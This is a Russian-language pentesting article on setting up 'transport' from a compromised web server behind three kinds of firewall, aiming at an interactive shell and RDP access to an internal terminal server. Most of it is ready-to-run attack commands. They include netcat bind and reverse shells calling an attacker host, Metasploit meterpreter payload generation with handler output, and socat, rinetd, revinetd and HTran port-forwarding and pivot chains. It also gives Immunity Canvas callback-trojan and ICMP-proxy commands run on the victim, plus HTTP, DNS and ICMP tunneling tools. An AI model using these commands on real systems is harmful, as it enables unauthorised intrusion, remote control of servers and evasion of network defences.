Задачи, связанные с доставкой полезной нагрузки и обеспечением "транспорта", могут пересекаться и дополнять друг друга. В данной публикации будут рассмотрены основные сценарии обеспечения "транспорта", которыми пользуются атакующие.
Рассмотрим три типовых сценария публикации внешних приложений (иллюстрация представлена ниже):
1. Сетевой доступ никак не ограничен в обе стороны (W01).
2. Сетевой доступ ограничен входящим TCP/80, обратно сетевой доступ не ограничен (W02).
3. Сетевой доступ ограничен входящим TCP/80, обратно весь ip-трафик блокируется пограничным межсетевым экраном (W03).
Постановка задачи для каждого из рассматриваемых сценариев будет следующей:
1. Обеспечить интерактивный терминал на веб-сервере (W0-3).
2. Обеспечить соединение по протоколу RDP к терминальному серверу (R).
При этом будем предполагать, что в качестве операционной системы веб-сервера могут выступать Windows/x86 или Linux/x86 .
Сценарий 1 (веб-сервер W01)
Первый сценарий размещения веб-сервера, несмотря на архитектурное уродство при проектировании сетевой топологии, по-прежнему встречается на просторах нашей бескрайней.
Когда привилегий хватает (т.е. мы root/system) задача лежит в плоскости системного администрирования, т.е. переконфигурирование операционной системы веб-сервера в самый обыкновенный шлюз. Примеров подобных настроек для всех видов осей в интернете предостаточно, поэтому не стану на этом останавливаться.
Если мы ограничены в привилегиях, тогда нам никто не запрещает занять свободный TCP/UDP-порт в диапазоне 1024-65535 (данное ограничение не действует на Windows системы т.е. с правами пользователя можно занимать свободные порты ниже 1024).
Переключение на интерактивный терминал:
- Netcat ( http://www.securitylab.ru/software/233635.php ; http://www.securitylab.ru/software/233452.php )
Windows:
W01> nc.exe -l -p 12345 -e cmd.exe
H# nc 1.1.1.2 12345
W01> nc.exe -l -p 12345 -u -e cmd.exe
H# nc –u 1.1.1.2 12345
Linux:
W01> nc -l -p 12345 -e /bin/bash
H# nc 1.1.1.2 12345
Шпаргалка по Netcat: http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf
Обеспечение доступа к терминальному серверу:
- rinetd ( http://www.boutell.com/rinetd/ )
Windows/Linux:
W01> echo 0.0.0.0 12345 192.168.0.1 3389 > conf
W01> rinetd -f -c conf
H# rdesktop 1.1.1.2:12345
- fpipe (только Windows; http://www.mcafee.com/ru/downloads/free-tools/fpipe.aspx )
W01> FPipe -l 12345 -r 3389 192.168.0.1
H# rdesktop 1.1.1.2:12345
- socat ( http://www.dest-unreach.org/socat/ )
Windows/Linux:
W01> socat TCP4-LISTEN:12345 TCP4:192.168.0.1:3389
H# rdesktop 1.1.1.2:12345
Пример туннелирования TCP поверх UDP:
W01> socat UDP4-LISTEN:12345 TCP4:192.168.0.1:3389
H# socat TCP4-LISTEN:4444 UDP4:1.1.1.2:12345
H# rdesktop localhost:4444
- Proxifier (требуется proxy с поддержкой метода connect или socks; http://www.proxifier.com/ )
- ProxyCap (требуется proxy с поддержкой метода connect, socks или ssh; http://www.proxycap.com/ )
- putty (требуется ssh; http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html )
Решение обоих задач:
- Metasploit Framework ( http://www.metasploit.com/ )
Windows:
H# msfpayload windows/meterpreter/bind_tcp LPORT=12345 X > meterpreter.exe
W01> meterpreter.exe
H# msfconsole
msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 1.1.1.2
RHOST => 1.1.1.2
msf exploit(handler) > set LPORT 12345
LPORT => 12345
msf exploit(handler) > exploit
[*] Started reverse handler
[*] Starting the payload handler...
meterpreter > execute -f cmd.exe -i -H
...
meterpreter > portfwd -l 4444 -p 3389 -r 192.168.0.1
...
H# rdesktop localhost:4444
Linux:
H# msfpayload linux/x86/meterpreter/bind_tcp LPORT=12345 X > meterpreter
…
Шпаргалка по MSF: http://www.offensive-security.com/metasploit-unleashed/
Сценарий 2 (веб-сервер W02)
Наиболее распространенный вариант размещения веб-сервера, который встречается буквально при тестировании каждой информационной системы. В данном сценарии межсетевой экран блокирует все входящие подключения, кроме http-порта занятого веб-сервером. Конечно можно совершить акт вандализма (в случае наличия соответствующих привилегий) убив веб-сервер и заняв его порт, но обычно настраивают обратные подключения…
Переключение на интерактивный терминал:
Равносильно первому сценарию, можно воспользоваться netcat’ом:
Windows:
H# nc -l -p 53
W02> nc.exe -e cmd.exe 2.2.2.2 53
Linux:
H# nc -l -p 53
W02> nc -e /bin/bash 2.2.2.2 53
Стоит отметить, что для тех случаев, когда волшебного ключика "-e" в находящейся под рукой сборке netcat нет, можно использовать, например, такую конструкцию:
H# nc -l -p 53
H# nc -l -p 80
W02> nc 2.2.2.2 53 | /bin/bash | nc 2.2.2.2 80
В данном примере на порту TCP/53 следует передавать команды операционной системы, а на порту TCP/80 получать результат выполнения этих команд.
По аналогии может использоваться и socat ( http://www.dest-unreach.org/socat/doc/linuxwochen2007-socat.pdf ). По следующей ссылке содержится небольшая подборка по другим реализациям обратного подключения в интерактивный терминал: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Обеспечение доступа к терминальному серверу:
Все тот-же socat:
H# socat TCP4-LISTEN:12345,fork TCP4-LISTEN:4444
W02> socat TCP-CONNECT:2.2.2.2:12345 TCP-CONNECT:192.168.0.1:3389
H# rdesktop localhost:4444
- revinetd ( http://revinetd.sourceforge.net/ )
Linux<->Linux ( http://sourceforge.net/projects/revinetd/files/ ):
H# ./revinetd -s -c 127.0.0.1:4444 -l 2.2.2.2:12345 -v -k 1
W02> ./revinetd -r -b 2.2.2.2:12345 -t 192.168.0.1:3389 -v -k 1
H# rdesktop localhost:4444
Windows<->Windows ( http://ileriseviye.org/Makale/pics/revinetd/revinetd-bin.zip )
H# revinetd.exe -s -l 4444 -L 12345 -v -k 1
W02> revinetd.exe -r -c 2.2.2.2:12345 -t 192.168.0.1:3389 -v -k
…
PS. Разумеется в качестве серверной части может выступать сборка под windows, а в качестве клиентской под linux и наоборот.
Более правильная реализация обратного TCP-туннелирования, которой судя по данному отчету активно пользуются Китайские собратья.
Linux<->Linux ( http://www.lpboke.com/down/lcxForlinux.zip )
H# HTran -m 2 -p1 12345 -p2 4444
W02> HTran -m 3 -h1 2.2.2.2 -p1 12345 -h2 192.168.0.1 -p2 3389
H# rdesktop localhost:4444
Windows<->Windows ( http://qfdk.free.fr/tools/%CC%E1%C8%A8/LCX.rar )
H# HTran.exe -listen 12345 4444
W02> HTran.exe -slave 2.2.2.2 12345 192.168.0.1 3389
…
PS. В отличии от revinetd данная реализация обратного TCP-туннелирования обладает преимуществами в возможностях каскадных соединений и в способности обрабатывать несколько параллельных TCP сессий со стороны клиентов.
Пример каскадного соединения:
H# HTran.exe -listen 12345 4444
W01> HTran.exe -tran 2.2.2.2 12345 4444
W02> ./HTran –m 3 –h1 192.168.0.2 –p1 4444 –h2 192.168.0.1 –p2 3389
…
Решение обоих задач:
Для MSF все также будет справедливо по аналогии с примером выше для первого сценария. Разница лишь в том, что тут потребуется использовать другую нагрузку:
H# msfpayload linux/x86/meterpreter/reverse_tcp LPORT=12345 X > meterpreter
…
Альтернативой MSF для аналогичных целей может использоваться коммерческий эксплоит-пак Immunity Canvas :
H# exploits/BuildCallbackTrojan/BuildCallbackTrojan.py -t 0.0.0.0 -O callback_host:2.2.2.2 -O callback_port:5555 -O OS:Windows -O filename:immunity.exe
Поднимаем слушатель:
Получаем клиента на MOSDEF-транспорте:
И счастливые обладатели White Phosphorus Exploit Pack могут сделать port forward поверх MOSDEF (как это не покажется странным, но в составе самого Immunity Canvas родного пробрасывальщика портов нету).
Сценарий 3 (веб-сервер W03)
Данный вариант публикации внешнего приложения является наиболее суровым по отношению к атакующему. Для проброса "транспорта" к приложениям внутренней сети в этом сценарии используют непосредственно среду скомпрометированного веб-сервера/приложения. То есть, в пределах корневого каталога веб-сервера размещают новый сценарий, который отвечает за инкапсуляцию трафика. Альтернативным решением может являться подгрузка "правильного" модуля аля http-прокси с поддержкой метода connect.
- http-tunnel (только php; http://http-tunnel.sourceforge.net/ )
- reduh (php, aspx, jsp; http://sensepost.com/labs/tools/pentest/reduh )
Пример использования reduh - http://carnal0wnage.attackresearch.com/2009_10_01_archive.html
- webtunnel (только perl; http://sourceforge.net/projects/webtunnel/ )
Для получения интерактивного терминала на веб-сервере в данном сценарии может применяться следующий подход:
1. Поднимаем на свободном порту (в т.ч. localhost) интерактивный шелл (например, с использованием netcat).
2. Пробрасываем этот шелл к самому веб-серверу (по аналогии с протоколом RDP).
Другим вариантом общения с веб-сервером может служить протокол разрешения имен - DNS. Я имею ввиду такое общение, которое протекает через цепочку настоящих DNS-серверов, которым разрешен доступ в интернет, как минимум с использованием соответствующего протокола. Однако смысла в подобном пробросе для решения поставленных задач при имеющихся вводных не имеет т.к. использовать протокол DNS для инкапсулирования протокола RDP, увы, не получится. Дополнительную информацию про проброс поверх DNS, а также соответствующий инструментарий можно найти по следующим ссылкам:
- NSTX ( http://thomer.com/howtos/nstx.html )
- Iodine ( http://code.kryo.se/iodine/ )
- DNScat ( http://tadek.pietraszek.org/projects/DNScat/ )
К слову, immunity canvas также поддерживает свой mosdef поверх протокола dns...
Если же мы изменим несколько вводные и разрешим бегать в сторону интернет протоколу ICMP, тогда он вполне подойдет для организации не самого шустрого транспорта для доступа к RDP. Стоит отметить, что на практике, конфигурации в которых со стороны веб-сервера заблокировано все, но разрешен протокол icmp (факт. ping), встречаются крайне и крайне редко. Но встречаются!
Для Immunity Canvas инструкция будет следующей:
MOSDEF вешаем на linux с правами root и в текущий таргет устанавливаем хост, от которого пойдут icmp пакеты и жмякаем меню Servers/icmp_proxy. На жертве запускаем:
Resourcesicmp_proxy.exe -l 127.0.0.1 -p 5555 -t <хост с mosdef>
Resourcesmosdef_callback.exe 127.0.0.1 5555
Бесплатные альтернативы для аналогичных целей:
- PingTunnel ( http://www.opennet.ru/tips/1896_proxy_icmp_tunnel.shtml )
- Hans ( http://code.gerade.org/hans/ )
- icmpsh ( https://github.com/inquisb/icmpsh )
- ICMP Shell ( http://icmpshell.sourceforge.net/ )
Разумеется, данный материал не является исчерпывающим по поднятой мною теме. Поэтому буду благодарен дорогим читателям за описание других жизненных ситуаций и пути их разрулирования.
